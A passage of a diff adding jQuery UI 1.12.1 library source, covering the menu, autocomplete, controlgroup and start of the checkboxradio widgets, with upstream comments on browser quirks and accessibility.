) { + this._close(); + } else { + this.timer = this._delay( function() { + this._close(); + }, this.delay ); + } + + nested = item.children( ".ui-menu" ); + if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) { + this._startOpening( nested ); + } + this.activeMenu = item.parent(); + + this._trigger( "focus", event, { item: item } ); + }, + + _scrollIntoView: function( item ) { + var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight; + if ( this._hasScroll() ) { + borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0; + paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0; + offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop; + scroll = this.activeMenu.scrollTop(); + elementHeight = this.activeMenu.height(); + itemHeight = item.outerHeight(); + + if ( offset < 0 ) { + this.activeMenu.scrollTop( scroll + offset ); + } else if ( offset + itemHeight > elementHeight ) { + this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight ); + } + } + }, + + blur: function( event, fromFocus ) { + if ( !fromFocus ) { + clearTimeout( this.timer ); + } + + if ( !this.active ) { + return; + } + + this._removeClass( this.active.children( ".ui-menu-item-wrapper" ), + null, "ui-state-active" ); + + this._trigger( "blur", event, { item: this.active } ); + this.active = null; + }, + + _startOpening: function( submenu ) { + clearTimeout( this.timer ); + + // Don't open if already open fixes a Firefox bug that caused a .5 pixel + // shift in the submenu position when mousing over the caret icon + if ( submenu.attr( "aria-hidden" ) !== "true" ) { + return; + } + + this.timer = this._delay( function() { + this._close(); + this._open( submenu ); + }, this.delay ); + }, + + _open: function( submenu ) { + var position = $.extend( { + of: this.active + }, this.options.position ); + + clearTimeout( this.timer ); + this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) ) + .hide() + .attr( "aria-hidden", "true" ); + + submenu + .show() + .removeAttr( "aria-hidden" ) + .attr( "aria-expanded", "true" ) + .position( position ); + }, + + collapseAll: function( event, all ) { + clearTimeout( this.timer ); + this.timer = this._delay( function() { + + // If we were passed an event, look for the submenu that contains the event + var currentMenu = all ? this.element : + $( event && event.target ).closest( this.element.find( ".ui-menu" ) ); + + // If we found no valid submenu ancestor, use the main menu to close all + // sub menus anyway + if ( !currentMenu.length ) { + currentMenu = this.element; + } + + this._close( currentMenu ); + + this.blur( event ); + + // Work around active item staying active after menu is blurred + this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" ); + + this.activeMenu = currentMenu; + }, this.delay ); + }, + + // With no arguments, closes the currently active menu - if nothing is active + // it closes all menus. If passed an argument, it will search for menus BELOW + _close: function( startMenu ) { + if ( !startMenu ) { + startMenu = this.active ? this.active.parent() : this.element; + } + + startMenu.find( ".ui-menu" ) + .hide() + .attr( "aria-hidden", "true" ) + .attr( "aria-expanded", "false" ); + }, + + _closeOnDocumentClick: function( event ) { + return !$( event.target ).closest( ".ui-menu" ).length; + }, + + _isDivider: function( item ) { + + // Match hyphen, em dash, en dash + return !/[^\-\u2014\u2013\s]/.test( item.text() ); + }, + + collapse: function( event ) { + var newItem = this.active && + this.active.parent().closest( ".ui-menu-item", this.element ); + if ( newItem && newItem.length ) { + this._close(); + this.focus( event, newItem ); + } + }, + + expand: function( event ) { + var newItem = this.active && + this.active + .children( ".ui-menu " ) + .find( this.options.items ) + .first(); + + if ( newItem && newItem.length ) { + this._open( newItem.parent() ); + + // Delay so Firefox will not hide activedescendant change in expanding submenu from AT + this._delay( function() { + this.focus( event, newItem ); + } ); + } + }, + + next: function( event ) { + this._move( "next", "first", event ); + }, + + previous: function( event ) { + this._move( "prev", "last", event ); + }, + + isFirstItem: function() { + return this.active && !this.active.prevAll( ".ui-menu-item" ).length; + }, + + isLastItem: function() { + return this.active && !this.active.nextAll( ".ui-menu-item" ).length; + }, + + _move: function( direction, filter, event ) { + var next; + if ( this.active ) { + if ( direction === "first" || direction === "last" ) { + next = this.active + [ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" ) + .eq( -1 ); + } else { + next = this.active + [ direction + "All" ]( ".ui-menu-item" ) + .eq( 0 ); + } + } + if ( !next || !next.length || !this.active ) { + next = this.activeMenu.find( this.options.items )[ filter ](); + } + + this.focus( event, next ); + }, + + nextPage: function( event ) { + var item, base, height; + + if ( !this.active ) { + this.next( event ); + return; + } + if ( this.isLastItem() ) { + return; + } + if ( this._hasScroll() ) { + base = this.active.offset().top; + height = this.element.height(); + this.active.nextAll( ".ui-menu-item" ).each( function() { + item = $( this ); + return item.offset().top - base - height < 0; + } ); + + this.focus( event, item ); + } else { + this.focus( event, this.activeMenu.find( this.options.items ) + [ !this.active ? "first" : "last" ]() ); + } + }, + + previousPage: function( event ) { + var item, base, height; + if ( !this.active ) { + this.next( event ); + return; + } + if ( this.isFirstItem() ) { + return; + } + if ( this._hasScroll() ) { + base = this.active.offset().top; + height = this.element.height(); + this.active.prevAll( ".ui-menu-item" ).each( function() { + item = $( this ); + return item.offset().top - base + height > 0; + } ); + + this.focus( event, item ); + } else { + this.focus( event, this.activeMenu.find( this.options.items ).first() ); + } + }, + + _hasScroll: function() { + return this.element.outerHeight() < this.element.prop( "scrollHeight" ); + }, + + select: function( event ) { + + // TODO: It should never be possible to not have an active item at this + // point, but the tests don't trigger mouseenter before click. + this.active = this.active || $( event.target ).closest( ".ui-menu-item" ); + var ui = { item: this.active }; + if ( !this.active.has( ".ui-menu" ).length ) { + this.collapseAll( event, true ); + } + this._trigger( "select", event, ui ); + }, + + _filterMenuItems: function( character ) { + var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ), + regex = new RegExp( "^" + escapedCharacter, "i" ); + + return this.activeMenu + .find( this.options.items ) + + // Only match on items, not dividers or other content (#10571) + .filter( ".ui-menu-item" ) + .filter( function() { + return regex.test( + $.trim( $( this ).children( ".ui-menu-item-wrapper" ).text() ) ); + } ); + } +} ); + + +/*! + * jQuery UI Autocomplete 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Autocomplete +//>>group: Widgets +//>>description: Lists suggested words as the user is typing. +//>>docs: http://api.jqueryui.com/autocomplete/ +//>>demos: http://jqueryui.com/autocomplete/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/autocomplete.css +//>>css.theme: ../../themes/base/theme.css + + + +$.widget( "ui.autocomplete", { + version: "1.12.1", + defaultElement: "<input>", + options: { + appendTo: null, + autoFocus: false, + delay: 300, + minLength: 1, + position: { + my: "left top", + at: "left bottom", + collision: "none" + }, + source: null, + + // Callbacks + change: null, + close: null, + focus: null, + open: null, + response: null, + search: null, + select: null + }, + + requestIndex: 0, + pending: 0, + + _create: function() { + + // Some browsers only repeat keydown events, not keypress events, + // so we use the suppressKeyPress flag to determine if we've already + // handled the keydown event. #7269 + // Unfortunately the code for & in keypress is the same as the up arrow, + // so we use the suppressKeyPressRepeat flag to avoid handling keypress + // events when we know the keydown event was used to modify the + // search term. #7799 + var suppressKeyPress, suppressKeyPressRepeat, suppressInput, + nodeName = this.element[ 0 ].nodeName.toLowerCase(), + isTextarea = nodeName === "textarea", + isInput = nodeName === "input"; + + // Textareas are always multi-line + // Inputs are always single-line, even if inside a contentEditable element + // IE also treats inputs as contentEditable + // All other element types are determined by whether or not they're contentEditable + this.isMultiLine = isTextarea || !isInput && this._isContentEditable( this.element ); + + this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ]; + this.isNewMenu = true; + + this._addClass( "ui-autocomplete-input" ); + this.element.attr( "autocomplete", "off" ); + + this._on( this.element, { + keydown: function( event ) { + if ( this.element.prop( "readOnly" ) ) { + suppressKeyPress = true; + suppressInput = true; + suppressKeyPressRepeat = true; + return; + } + + suppressKeyPress = false; + suppressInput = false; + suppressKeyPressRepeat = false; + var keyCode = $.ui.keyCode; + switch ( event.keyCode ) { + case keyCode.PAGE_UP: + suppressKeyPress = true; + this._move( "previousPage", event ); + break; + case keyCode.PAGE_DOWN: + suppressKeyPress = true; + this._move( "nextPage", event ); + break; + case keyCode.UP: + suppressKeyPress = true; + this._keyEvent( "previous", event ); + break; + case keyCode.DOWN: + suppressKeyPress = true; + this._keyEvent( "next", event ); + break; + case keyCode.ENTER: + + // when menu is open and has focus + if ( this.menu.active ) { + + // #6055 - Opera still allows the keypress to occur + // which causes forms to submit + suppressKeyPress = true; + event.preventDefault(); + this.menu.select( event ); + } + break; + case keyCode.TAB: + if ( this.menu.active ) { + this.menu.select( event ); + } + break; + case keyCode.ESCAPE: + if ( this.menu.element.is( ":visible" ) ) { + if ( !this.isMultiLine ) { + this._value( this.term ); + } + this.close( event ); + + // Different browsers have different default behavior for escape + // Single press can mean undo or clear + // Double press in IE means clear the whole form + event.preventDefault(); + } + break; + default: + suppressKeyPressRepeat = true; + + // search timeout should be triggered before the input value is changed + this._searchTimeout( event ); + break; + } + }, + keypress: function( event ) { + if ( suppressKeyPress ) { + suppressKeyPress = false; + if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) { + event.preventDefault(); + } + return; + } + if ( suppressKeyPressRepeat ) { + return; + } + + // Replicate some key handlers to allow them to repeat in Firefox and Opera + var keyCode = $.ui.keyCode; + switch ( event.keyCode ) { + case keyCode.PAGE_UP: + this._move( "previousPage", event ); + break; + case keyCode.PAGE_DOWN: + this._move( "nextPage", event ); + break; + case keyCode.UP: + this._keyEvent( "previous", event ); + break; + case keyCode.DOWN: + this._keyEvent( "next", event ); + break; + } + }, + input: function( event ) { + if ( suppressInput ) { + suppressInput = false; + event.preventDefault(); + return; + } + this._searchTimeout( event ); + }, + focus: function() { + this.selectedItem = null; + this.previous = this._value(); + }, + blur: function( event ) { + if ( this.cancelBlur ) { + delete this.cancelBlur; + return; + } + + clearTimeout( this.searching ); + this.close( event ); + this._change( event ); + } + } ); + + this._initSource(); + this.menu = $( "<ul>" ) + .appendTo( this._appendTo() ) + .menu( { + + // disable ARIA support, the live region takes care of that + role: null + } ) + .hide() + .menu( "instance" ); + + this._addClass( this.menu.element, "ui-autocomplete", "ui-front" ); + this._on( this.menu.element, { + mousedown: function( event ) { + + // prevent moving focus out of the text field + event.preventDefault(); + + // IE doesn't prevent moving focus even with event.preventDefault() + // so we set a flag to know when we should ignore the blur event + this.cancelBlur = true; + this._delay( function() { + delete this.cancelBlur; + + // Support: IE 8 only + // Right clicking a menu item or selecting text from the menu items will + // result in focus moving out of the input. However, we've already received + // and ignored the blur event because of the cancelBlur flag set above. So + // we restore focus to ensure that the menu closes properly based on the user's + // next actions. + if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) { + this.element.trigger( "focus" ); + } + } ); + }, + menufocus: function( event, ui ) { + var label, item; + + // support: Firefox + // Prevent accidental activation of menu items in Firefox (#7024 #9118) + if ( this.isNewMenu ) { + this.isNewMenu = false; + if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) { + this.menu.blur(); + + this.document.one( "mousemove", function() { + $( event.target ).trigger( event.originalEvent ); + } ); + + return; + } + } + + item = ui.item.data( "ui-autocomplete-item" ); + if ( false !== this._trigger( "focus", event, { item: item } ) ) { + + // use value to match what will end up in the input, if it was a key event + if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) { + this._value( item.value ); + } + } + + // Announce the value in the liveRegion + label = ui.item.attr( "aria-label" ) || item.value; + if ( label && $.trim( label ).length ) { + this.liveRegion.children().hide(); + $( "<div>" ).text( label ).appendTo( this.liveRegion ); + } + }, + menuselect: function( event, ui ) { + var item = ui.item.data( "ui-autocomplete-item" ), + previous = this.previous; + + // Only trigger when focus was lost (click on menu) + if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) { + this.element.trigger( "focus" ); + this.previous = previous; + + // #6109 - IE triggers two focus events and the second + // is asynchronous, so we need to reset the previous + // term synchronously and asynchronously :-( + this._delay( function() { + this.previous = previous; + this.selectedItem = item; + } ); + } + + if ( false !== this._trigger( "select", event, { item: item } ) ) { + this._value( item.value ); + } + + // reset the term after the select event + // this allows custom select handling to work properly + this.term = this._value(); + + this.close( event ); + this.selectedItem = item; + } + } ); + + this.liveRegion = $( "<div>", { + role: "status", + "aria-live": "assertive", + "aria-relevant": "additions" + } ) + .appendTo( this.document[ 0 ].body ); + + this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" ); + + // Turning off autocomplete prevents the browser from remembering the + // value when navigating through history, so we re-enable autocomplete + // if the page is unloaded before the widget is destroyed. #7790 + this._on( this.window, { + beforeunload: function() { + this.element.removeAttr( "autocomplete" ); + } + } ); + }, + + _destroy: function() { + clearTimeout( this.searching ); + this.element.removeAttr( "autocomplete" ); + this.menu.element.remove(); + this.liveRegion.remove(); + }, + + _setOption: function( key, value ) { + this._super( key, value ); + if ( key === "source" ) { + this._initSource(); + } + if ( key === "appendTo" ) { + this.menu.element.appendTo( this._appendTo() ); + } + if ( key === "disabled" && value && this.xhr ) { + this.xhr.abort(); + } + }, + + _isEventTargetInWidget: function( event ) { + var menuElement = this.menu.element[ 0 ]; + + return event.target === this.element[ 0 ] || + event.target === menuElement || + $.contains( menuElement, event.target ); + }, + + _closeOnClickOutside: function( event ) { + if ( !this._isEventTargetInWidget( event ) ) { + this.close(); + } + }, + + _appendTo: function() { + var element = this.options.appendTo; + + if ( element ) { + element = element.jquery || element.nodeType ? + $( element ) : + this.document.find( element ).eq( 0 ); + } + + if ( !element || !element[ 0 ] ) { + element = this.element.closest( ".ui-front, dialog" ); + } + + if ( !element.length ) { + element = this.document[ 0 ].body; + } + + return element; + }, + + _initSource: function() { + var array, url, + that = this; + if ( $.isArray( this.options.source ) ) { + array = this.options.source; + this.source = function( request, response ) { + response( $.ui.autocomplete.filter( array, request.term ) ); + }; + } else if ( typeof this.options.source === "string" ) { + url = this.options.source; + this.source = function( request, response ) { + if ( that.xhr ) { + that.xhr.abort(); + } + that.xhr = $.ajax( { + url: url, + data: request, + dataType: "json", + success: function( data ) { + response( data ); + }, + error: function() { + response( [] ); + } + } ); + }; + } else { + this.source = this.options.source; + } + }, + + _searchTimeout: function( event ) { + clearTimeout( this.searching ); + this.searching = this._delay( function() { + + // Search if the value has changed, or if the user retypes the same value (see #7434) + var equalValues = this.term === this._value(), + menuVisible = this.menu.element.is( ":visible" ), + modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey; + + if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) { + this.selectedItem = null; + this.search( null, event ); + } + }, this.options.delay ); + }, + + search: function( value, event ) { + value = value != null ? value : this._value(); + + // Always save the actual value, not the one passed as an argument + this.term = this._value(); + + if ( value.length < this.options.minLength ) { + return this.close( event ); + } + + if ( this._trigger( "search", event ) === false ) { + return; + } + + return this._search( value ); + }, + + _search: function( value ) { + this.pending++; + this._addClass( "ui-autocomplete-loading" ); + this.cancelSearch = false; + + this.source( { term: value }, this._response() ); + }, + + _response: function() { + var index = ++this.requestIndex; + + return $.proxy( function( content ) { + if ( index === this.requestIndex ) { + this.__response( content ); + } + + this.pending--; + if ( !this.pending ) { + this._removeClass( "ui-autocomplete-loading" ); + } + }, this ); + }, + + __response: function( content ) { + if ( content ) { + content = this._normalize( content ); + } + this._trigger( "response", null, { content: content } ); + if ( !this.options.disabled && content && content.length && !this.cancelSearch ) { + this._suggest( content ); + this._trigger( "open" ); + } else { + + // use ._close() instead of .close() so we don't cancel future searches + this._close(); + } + }, + + close: function( event ) { + this.cancelSearch = true; + this._close( event ); + }, + + _close: function( event ) { + + // Remove the handler that closes the menu on outside clicks + this._off( this.document, "mousedown" ); + + if ( this.menu.element.is( ":visible" ) ) { + this.menu.element.hide(); + this.menu.blur(); + this.isNewMenu = true; + this._trigger( "close", event ); + } + }, + + _change: function( event ) { + if ( this.previous !== this._value() ) { + this._trigger( "change", event, { item: this.selectedItem } ); + } + }, + + _normalize: function( items ) { + + // assume all items have the right format when the first item is complete + if ( items.length && items[ 0 ].label && items[ 0 ].value ) { + return items; + } + return $.map( items, function( item ) { + if ( typeof item === "string" ) { + return { + label: item, + value: item + }; + } + return $.extend( {}, item, { + label: item.label || item.value, + value: item.value || item.label + } ); + } ); + }, + + _suggest: function( items ) { + var ul = this.menu.element.empty(); + this._renderMenu( ul, items ); + this.isNewMenu = true; + this.menu.refresh(); + + // Size and position menu + ul.show(); + this._resizeMenu(); + ul.position( $.extend( { + of: this.element + }, this.options.position ) ); + + if ( this.options.autoFocus ) { + this.menu.next(); + } + + // Listen for interactions outside of the widget (#6642) + this._on( this.document, { + mousedown: "_closeOnClickOutside" + } ); + }, + + _resizeMenu: function() { + var ul = this.menu.element; + ul.outerWidth( Math.max( + + // Firefox wraps long text (possibly a rounding bug) + // so we add 1px to avoid the wrapping (#7513) + ul.width( "" ).outerWidth() + 1, + this.element.outerWidth() + ) ); + }, + + _renderMenu: function( ul, items ) { + var that = this; + $.each( items, function( index, item ) { + that._renderItemData( ul, item ); + } ); + }, + + _renderItemData: function( ul, item ) { + return this._renderItem( ul, item ).data( "ui-autocomplete-item", item ); + }, + + _renderItem: function( ul, item ) { + return $( "<li>" ) + .append( $( "<div>" ).text( item.label ) ) + .appendTo( ul ); + }, + + _move: function( direction, event ) { + if ( !this.menu.element.is( ":visible" ) ) { + this.search( null, event ); + return; + } + if ( this.menu.isFirstItem() && /^previous/.test( direction ) || + this.menu.isLastItem() && /^next/.test( direction ) ) { + + if ( !this.isMultiLine ) { + this._value( this.term ); + } + + this.menu.blur(); + return; + } + this.menu[ direction ]( event ); + }, + + widget: function() { + return this.menu.element; + }, + + _value: function() { + return this.valueMethod.apply( this.element, arguments ); + }, + + _keyEvent: function( keyEvent, event ) { + if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) { + this._move( keyEvent, event ); + + // Prevents moving cursor to beginning/end of the text field in some browsers + event.preventDefault(); + } + }, + + // Support: Chrome <=50 + // We should be able to just use this.element.prop( "isContentEditable" ) + // but hidden elements always report false in Chrome. + // https://code.google.com/p/chromium/issues/detail?id=313082 + _isContentEditable: function( element ) { + if ( !element.length ) { + return false; + } + + var editable = element.prop( "contentEditable" ); + + if ( editable === "inherit" ) { + return this._isContentEditable( element.parent() ); + } + + return editable === "true"; + } +} ); + +$.extend( $.ui.autocomplete, { + escapeRegex: function( value ) { + return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ); + }, + filter: function( array, term ) { + var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" ); + return $.grep( array, function( value ) { + return matcher.test( value.label || value.value || value ); + } ); + } +} ); + +// Live region extension, adding a `messages` option +// NOTE: This is an experimental API. We are still investigating +// a full solution for string manipulation and internationalization. +$.widget( "ui.autocomplete", $.ui.autocomplete, { + options: { + messages: { + noResults: "No search results.", + results: function( amount ) { + return amount + ( amount > 1 ? " results are" : " result is" ) + + " available, use up and down arrow keys to navigate."; + } + } + }, + + __response: function( content ) { + var message; + this._superApply( arguments ); + if ( this.options.disabled || this.cancelSearch ) { + return; + } + if ( content && content.length ) { + message = this.options.messages.results( content.length ); + } else { + message = this.options.messages.noResults; + } + this.liveRegion.children().hide(); + $( "<div>" ).text( message ).appendTo( this.liveRegion ); + } +} ); + +var widgetsAutocomplete = $.ui.autocomplete; + + +/*! + * jQuery UI Controlgroup 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Controlgroup +//>>group: Widgets +//>>description: Visually groups form control widgets +//>>docs: http://api.jqueryui.com/controlgroup/ +//>>demos: http://jqueryui.com/controlgroup/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/controlgroup.css +//>>css.theme: ../../themes/base/theme.css + + +var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g; + +var widgetsControlgroup = $.widget( "ui.controlgroup", { + version: "1.12.1", + defaultElement: "<div>", + options: { + direction: "horizontal", + disabled: null, + onlyVisible: true, + items: { + "button": "input[type=button], input[type=submit], input[type=reset], button, a", + "controlgroupLabel": ".ui-controlgroup-label", + "checkboxradio": "input[type='checkbox'], input[type='radio']", + "selectmenu": "select", + "spinner": ".ui-spinner-input" + } + }, + + _create: function() { + this._enhance(); + }, + + // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation + _enhance: function() { + this.element.attr( "role", "toolbar" ); + this.refresh(); + }, + + _destroy: function() { + this._callChildMethod( "destroy" ); + this.childWidgets.removeData( "ui-controlgroup-data" ); + this.element.removeAttr( "role" ); + if ( this.options.items.controlgroupLabel ) { + this.element + .find( this.options.items.controlgroupLabel ) + .find( ".ui-controlgroup-label-contents" ) + .contents().unwrap(); + } + }, + + _initWidgets: function() { + var that = this, + childWidgets = []; + + // First we iterate over each of the items options + $.each( this.options.items, function( widget, selector ) { + var labels; + var options = {}; + + // Make sure the widget has a selector set + if ( !selector ) { + return; + } + + if ( widget === "controlgroupLabel" ) { + labels = that.element.find( selector ); + labels.each( function() { + var element = $( this ); + + if ( element.children( ".ui-controlgroup-label-contents" ).length ) { + return; + } + element.contents() + .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" ); + } ); + that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" ); + childWidgets = childWidgets.concat( labels.get() ); + return; + } + + // Make sure the widget actually exists + if ( !$.fn[ widget ] ) { + return; + } + + // We assume everything is in the middle to start because we can't determine + // first / last elements until all enhancments are done. + if ( that[ "_" + widget + "Options" ] ) { + options = that[ "_" + widget + "Options" ]( "middle" ); + } else { + options = { classes: {} }; + } + + // Find instances of this widget inside controlgroup and init them + that.element + .find( selector ) + .each( function() { + var element = $( this ); + var instance = element[ widget ]( "instance" ); + + // We need to clone the default options for this type of widget to avoid + // polluting the variable options which has a wider scope than a single widget. + var instanceOptions = $.widget.extend( {}, options ); + + // If the button is the child of a spinner ignore it + // TODO: Find a more generic solution + if ( widget === "button" && element.parent( ".ui-spinner" ).length ) { + return; + } + + // Create the widget if it doesn't exist + if ( !instance ) { + instance = element[ widget ]()[ widget ]( "instance" ); + } + if ( instance ) { + instanceOptions.classes = + that._resolveClassesValues( instanceOptions.classes, instance ); + } + element[ widget ]( instanceOptions ); + + // Store an instance of the controlgroup to be able to reference + // from the outermost element for changing options and refresh + var widgetElement = element[ widget ]( "widget" ); + $.data( widgetElement[ 0 ], "ui-controlgroup-data", + instance ? instance : element[ widget ]( "instance" ) ); + + childWidgets.push( widgetElement[ 0 ] ); + } ); + } ); + + this.childWidgets = $( $.unique( childWidgets ) ); + this._addClass( this.childWidgets, "ui-controlgroup-item" ); + }, + + _callChildMethod: function( method ) { + this.childWidgets.each( function() { + var element = $( this ), + data = element.data( "ui-controlgroup-data" ); + if ( data && data[ method ] ) { + data[ method ](); + } + } ); + }, + + _updateCornerClass: function( element, position ) { + var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"; + var add = this._buildSimpleOptions( position, "label" ).classes.label; + + this._removeClass( element, null, remove ); + this._addClass( element, null, add ); + }, + + _buildSimpleOptions: function( position, key ) { + var direction = this.options.direction === "vertical"; + var result = { + classes: {} + }; + result.classes[ key ] = { + "middle": "", + "first": "ui-corner-" + ( direction ? "top" : "left" ), + "last": "ui-corner-" + ( direction ? "bottom" : "right" ), + "only": "ui-corner-all" + }[ position ]; + + return result; + }, + + _spinnerOptions: function( position ) { + var options = this._buildSimpleOptions( position, "ui-spinner" ); + + options.classes[ "ui-spinner-up" ] = ""; + options.classes[ "ui-spinner-down" ] = ""; + + return options; + }, + + _buttonOptions: function( position ) { + return this._buildSimpleOptions( position, "ui-button" ); + }, + + _checkboxradioOptions: function( position ) { + return this._buildSimpleOptions( position, "ui-checkboxradio-label" ); + }, + + _selectmenuOptions: function( position ) { + var direction = this.options.direction === "vertical"; + return { + width: direction ? "auto" : false, + classes: { + middle: { + "ui-selectmenu-button-open": "", + "ui-selectmenu-button-closed": "" + }, + first: { + "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ), + "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" ) + }, + last: { + "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr", + "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" ) + }, + only: { + "ui-selectmenu-button-open": "ui-corner-top", + "ui-selectmenu-button-closed": "ui-corner-all" + } + + }[ position ] + }; + }, + + _resolveClassesValues: function( classes, instance ) { + var result = {}; + $.each( classes, function( key ) { + var current = instance.options.classes[ key ] || ""; + current = $.trim( current.replace( controlgroupCornerRegex, "" ) ); + result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " ); + } ); + return result; + }, + + _setOption: function( key, value ) { + if ( key === "direction" ) { + this._removeClass( "ui-controlgroup-" + this.options.direction ); + } + + this._super( key, value ); + if ( key === "disabled" ) { + this._callChildMethod( value ? "disable" : "enable" ); + return; + } + + this.refresh(); + }, + + refresh: function() { + var children, + that = this; + + this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction ); + + if ( this.options.direction === "horizontal" ) { + this._addClass( null, "ui-helper-clearfix" ); + } + this._initWidgets(); + + children = this.childWidgets; + + // We filter here because we need to track all childWidgets not just the visible ones + if ( this.options.onlyVisible ) { + children = children.filter( ":visible" ); + } + + if ( children.length ) { + + // We do this last because we need to make sure all enhancment is done + // before determining first and last + $.each( [ "first", "last" ], function( index, value ) { + var instance = children[ value ]().data( "ui-controlgroup-data" ); + + if ( instance && that[ "_" + instance.widgetName + "Options" ] ) { + var options = that[ "_" + instance.widgetName + "Options" ]( + children.length === 1 ? "only" : value + ); + options.classes = that._resolveClassesValues( options.classes, instance ); + instance.element[ instance.widgetName ]( options ); + } else { + that._updateCornerClass( children[ value ](), value ); + } + } ); + + // Finally call the refresh method on each of the child widgets. + this._callChildMethod( "refresh" ); + } + } +} ); + +/*! + * jQuery UI Checkboxradio 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Checkboxradio +//>>group: Widgets +//>>description: Enhances a form with multiple themeable checkboxes or radio buttons. +//>>docs: http://api.jqueryui.com/checkboxradio/ +//>>demos: http://jqueryui.com/checkboxradio/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/button.css +//>>css.structure: ../../themes/base/checkboxradio.css +//>>css.theme: ../../themes/base/theme.css + + + +$.widget( "ui.checkboxradio", [ $.ui.formResetMixin, { + version: "1.12.1", + options: { + disabled: null, + label: null, + icon: true, + classes: { + "ui-checkboxradio-label": "ui-corner-all", + "ui-checkboxradio-icon": "ui-corner-all" + } + }, + + _getCreateOptions: function() { + var disabled, labels; + var that = this; + var options = this._super() || {}; + + // We read the type here, because it makes more sense to throw a element type error first, + // rather then the error for lack of a label. Often if its the wrong type, it + // won't have a label (e.g. calling on a div, btn, etc) + this._readType(); + + labels = this.element.labels(); + + // If there are multiple labels, use the last one + this.label = $( labels[ labels.length - 1 ] ); + if ( !this.label.length ) { + $.error( "No label found for checkboxradio widget" ); + } + + this.originalLabel = ""; + + // We need to get the label text but this may also need to make sure it does not contain the + // input itself. + this.label.contents().not( this.element[ 0 ] ).each( function() { + + // The label contents could be text, html, or a mix. We concat each element to get a + // string representation of the label, without the input as part of it. + that.originalLabel += this.nodeType === 3 ? $( this ).text() : this.outerHTML; + } ); + + // Set the label option if we found label text + if ( this.originalLabel ) { + options.label = this.originalLabel; + } + + disabled = this.element[ 0 ].disabled; + if ( disabled != null ) { + options.disabled = disabled; + } + return options; + }, + + _create: function() { + var checked = this.element[ 0 ].checked; + + this._bindFormResetHandler(); + + if ( this.options.disabled == null ) { + this.options.disabled = this.element[ 0 ].disabled; + } + + this._setOption( "disabled", this.options.disabled ); + this._addClass( "ui-checkboxradio", "ui-helper-hidden-accessible" ); + this._addClass( this.label, "ui-checkboxradio-label", "ui-button ui-widget" ); + + if ( this.type === "radio" ) { + this._addClass( this.label, "ui-checkboxradio-radio-label" ); + } + + if ( this.options.label && this.options.label !== this.originalLabel ) { + this._updateLabel(); + } else if ( this.originalLabel ) { + this.options.label = this.originalLabel; + } + + this._enhance(); + + if ( checked ) { + this._addClass( this.label, "ui-checkboxradio-checked", "ui-state-active" ); + if ( this.icon ) { + this._addClass( this.icon, null, "ui-state-hover" ); + } + } + + this._on( { + change: "_toggleClasses", + focus: function() { + this._addClass( this.label, null, "ui-state-focus ui-visual-focus" ); + }, + blur: function() { + this._removeClass( this.label, null, "ui-state-focus ui-visual-focus" ); + } + } ); + }, + + _readType: function() { + var nodeName = this.element[ 0 ].nodeName.toLowerCase(); + this.type = this.element[ 0 ].type; + if ( nodeName !== "input" || !/radio|checkbox/.test( this.type ) ) { + $.error( "Can't create checkboxradio on element.nodeName=" + nodeName + + " and element.type=" + this.type ); + } + }, + + // Support jQuery Mobile enhanced option + _enhance: function() { + this._updateIcon( this.element[ 0 ].checked ); + }, + + widget: function() { + return this.label; + }, + + _getRadioGroup: function() { + var group; + var name = this.element[ 0 ].name; + var nameSelector = "input[name='" + $.ui.escapeSelector( name ) + "']"; + + if ( !name ) { + return $( [] ); + } + + if ( this.form.length ) { + group = $( this.form[ 0 ].elements ).filter( nameSelector ); + } else { + + // Not inside a form, check all inputs that also are not inside a form + group = $( nameSelector ).filter( function() { + return $( this ).form().length === 0; + } ); + } + + return group.not( this.element ); + }, + + _toggleClasses: function() { + var checked = this.element[ 0 ].checked; + this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked ); + + if ( this.options.icon && this.type === "checkbox" ) { + this._toggleClass( this.icon, null, "ui-icon-check ui-state-checked", checked ) + ._toggleClass( this.icon, null, "ui-icon-blank", !checked ); + } + + if ( this.type === "radio" ) { 